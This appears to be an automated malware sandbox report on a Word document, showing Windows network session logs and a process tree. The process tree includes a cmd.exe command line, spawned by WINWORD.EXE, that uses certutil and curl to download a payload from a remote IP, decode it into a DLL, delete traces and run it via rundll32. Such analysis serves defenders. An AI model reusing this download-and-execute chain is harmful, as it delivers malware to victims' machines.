2024-07-22 13:58:36 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=PxRdW7mlrrw49Sf&MD=a2PwAHxG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-22 13:58:36 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: c1972479-110c-4498-a24f-0d62e0db2017 MS-RequestId: af77e083-b725-4caa-9950-9728b8e54db1 MS-CV: ox/lcubyRU2sLs6c.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 22 Jul 2024 13:58:35 GMT Connection: close Content-Length: 30005
2024-07-22 13:58:36 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-07-22 13:58:36 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49213	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-07-22 13:59:02 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 41 6b 72 4a 33 43 30 61 49 55 47 72 7a 4a 33 66 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 66 31 33 32 39 38 33 30 35 34 37 32 38 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: AkrJ3C0aIUGrzJ3f.1Context: a2f132983054728d
2024-07-22 13:59:02 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-22 13:59:02 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 41 6b 72 4a 33 43 30 61 49 55 47 72 7a 4a 33 66 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 66 31 33 32 39 38 33 30 35 34 37 32 38 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 30 75 39 54 68 4d 51 6f 61 5a 51 66 54 44 49 6a 46 53 7a 42 48 7a 6d 37 76 47 6a 6f 6c 74 52 4c 37 65 75 57 38 58 42 51 4c 37 78 65 79 30 75 73 73 76 42 4f 34 53 37 4f 55 67 4d 37 68 58 57 4d 4e 44 79 4a 4d 59 6e 4e 37 66 71 46 62 30 49 7a 6c 57 68 46 4f 44 33 48 4f 2f 57 4a 4c 38 72 47 5a 35 31 2f 79 6d 34 55 7a 77 6c 4f Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: AkrJ3C0aIUGrzJ3f.2Context: a2f132983054728d<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAY0u9ThMQoaZQfTDIjFSzBHzm7vGjoltRL7euW8XBQL7xey0ussvBO4S7OUgM7hXWMNDyJMYnN7fqFb0IzlWhFOD3HO/WJL8rGZ51/ym4UzwlO
2024-07-22 13:59:02 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 41 6b 72 4a 33 43 30 61 49 55 47 72 7a 4a 33 66 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 66 31 33 32 39 38 33 30 35 34 37 32 38 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: AkrJ3C0aIUGrzJ3f.3Context: a2f132983054728d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-22 13:59:02 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-22 13:59:02 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 63 36 76 38 64 45 47 73 6a 30 53 57 41 78 66 44 70 52 39 6e 73 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: c6v8dEGsj0SWAxfDpR9nsQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49233	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-07-22 13:59:31 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 37 55 6d 36 2f 54 50 45 78 30 61 6b 6e 62 70 41 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 38 34 64 32 32 30 64 31 34 65 37 62 34 30 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 7Um6/TPEx0aknbpA.1Context: d84d220d14e7b400
2024-07-22 13:59:31 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-22 13:59:31 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 37 55 6d 36 2f 54 50 45 78 30 61 6b 6e 62 70 41 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 38 34 64 32 32 30 64 31 34 65 37 62 34 30 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 30 75 39 54 68 4d 51 6f 61 5a 51 66 54 44 49 6a 46 53 7a 42 48 7a 6d 37 76 47 6a 6f 6c 74 52 4c 37 65 75 57 38 58 42 51 4c 37 78 65 79 30 75 73 73 76 42 4f 34 53 37 4f 55 67 4d 37 68 58 57 4d 4e 44 79 4a 4d 59 6e 4e 37 66 71 46 62 30 49 7a 6c 57 68 46 4f 44 33 48 4f 2f 57 4a 4c 38 72 47 5a 35 31 2f 79 6d 34 55 7a 77 6c 4f Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: 7Um6/TPEx0aknbpA.2Context: d84d220d14e7b400<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAY0u9ThMQoaZQfTDIjFSzBHzm7vGjoltRL7euW8XBQL7xey0ussvBO4S7OUgM7hXWMNDyJMYnN7fqFb0IzlWhFOD3HO/WJL8rGZ51/ym4UzwlO
2024-07-22 13:59:31 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 37 55 6d 36 2f 54 50 45 78 30 61 6b 6e 62 70 41 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 38 34 64 32 32 30 64 31 34 65 37 62 34 30 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 7Um6/TPEx0aknbpA.3Context: d84d220d14e7b400<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-22 13:59:36 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-22 13:59:36 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 37 77 56 66 37 34 46 61 37 55 53 6a 37 37 74 33 2f 6e 78 2f 48 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 7wVf74Fa7USj77t3/nx/Hg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49268	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-07-22 14:00:09 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 64 50 78 72 49 68 63 73 61 6b 75 67 33 33 75 72 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 33 36 36 64 32 31 35 33 37 66 35 32 62 61 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: dPxrIhcsakug33ur.1Context: e366d21537f52ba6
2024-07-22 14:00:09 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-22 14:00:09 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 64 50 78 72 49 68 63 73 61 6b 75 67 33 33 75 72 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 33 36 36 64 32 31 35 33 37 66 35 32 62 61 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 30 75 39 54 68 4d 51 6f 61 5a 51 66 54 44 49 6a 46 53 7a 42 48 7a 6d 37 76 47 6a 6f 6c 74 52 4c 37 65 75 57 38 58 42 51 4c 37 78 65 79 30 75 73 73 76 42 4f 34 53 37 4f 55 67 4d 37 68 58 57 4d 4e 44 79 4a 4d 59 6e 4e 37 66 71 46 62 30 49 7a 6c 57 68 46 4f 44 33 48 4f 2f 57 4a 4c 38 72 47 5a 35 31 2f 79 6d 34 55 7a 77 6c 4f Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: dPxrIhcsakug33ur.2Context: e366d21537f52ba6<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAY0u9ThMQoaZQfTDIjFSzBHzm7vGjoltRL7euW8XBQL7xey0ussvBO4S7OUgM7hXWMNDyJMYnN7fqFb0IzlWhFOD3HO/WJL8rGZ51/ym4UzwlO
2024-07-22 14:00:09 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 64 50 78 72 49 68 63 73 61 6b 75 67 33 33 75 72 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 33 36 36 64 32 31 35 33 37 66 35 32 62 61 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: dPxrIhcsakug33ur.3Context: e366d21537f52ba6<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-22 14:00:09 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-22 14:00:09 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4f 79 61 69 6d 42 45 42 74 6b 47 64 6e 6f 49 71 35 42 66 41 59 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: OyaimBEBtkGdnoIq5BfAYg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49325	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-07-22 14:01:41 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 52 2f 6b 44 73 6b 4b 41 6e 45 6d 35 59 5a 76 69 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 32 31 30 65 63 61 35 38 66 63 61 38 38 31 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: R/kDskKAnEm5YZvi.1Context: 6210eca58fca8818
2024-07-22 14:01:41 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-22 14:01:41 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 52 2f 6b 44 73 6b 4b 41 6e 45 6d 35 59 5a 76 69 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 32 31 30 65 63 61 35 38 66 63 61 38 38 31 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 30 75 39 54 68 4d 51 6f 61 5a 51 66 54 44 49 6a 46 53 7a 42 48 7a 6d 37 76 47 6a 6f 6c 74 52 4c 37 65 75 57 38 58 42 51 4c 37 78 65 79 30 75 73 73 76 42 4f 34 53 37 4f 55 67 4d 37 68 58 57 4d 4e 44 79 4a 4d 59 6e 4e 37 66 71 46 62 30 49 7a 6c 57 68 46 4f 44 33 48 4f 2f 57 4a 4c 38 72 47 5a 35 31 2f 79 6d 34 55 7a 77 6c 4f Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: R/kDskKAnEm5YZvi.2Context: 6210eca58fca8818<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAY0u9ThMQoaZQfTDIjFSzBHzm7vGjoltRL7euW8XBQL7xey0ussvBO4S7OUgM7hXWMNDyJMYnN7fqFb0IzlWhFOD3HO/WJL8rGZ51/ym4UzwlO
2024-07-22 14:01:41 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 52 2f 6b 44 73 6b 4b 41 6e 45 6d 35 59 5a 76 69 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 32 31 30 65 63 61 35 38 66 63 61 38 38 31 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: R/kDskKAnEm5YZvi.3Context: 6210eca58fca8818<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-22 14:01:41 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-22 14:01:41 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 53 4b 55 70 4b 7a 71 62 65 30 69 6c 68 78 79 62 70 50 48 45 4f 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: SKUpKzqbe0ilhxybpPHEOg.0Payload parsing failed.

Target ID:	0
Start time:	09:57:38
Start date:	22/07/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x740000
File size:	1'620'872 bytes
MD5 hash:	1A0C2C2E7D9C4BC18E91604E9B0C7678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:57:44
Start date:	22/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp & certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe & C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\curl.txt & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\mscorsvc.txt & START " " rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain & exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:57:44
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:57:44
Start date:	22/07/2024
Path:	C:\Windows\SysWOW64\xcopy.exe
Wow64 process (32bit):	true
Commandline:	xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp
Imagebase:	0x430000
File size:	43'520 bytes
MD5 hash:	7E9B7CE496D09F70C072930940F9F02C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:57:44
Start date:	22/07/2024
Path:	C:\Windows\SysWOW64\certutil.exe
Wow64 process (32bit):	true
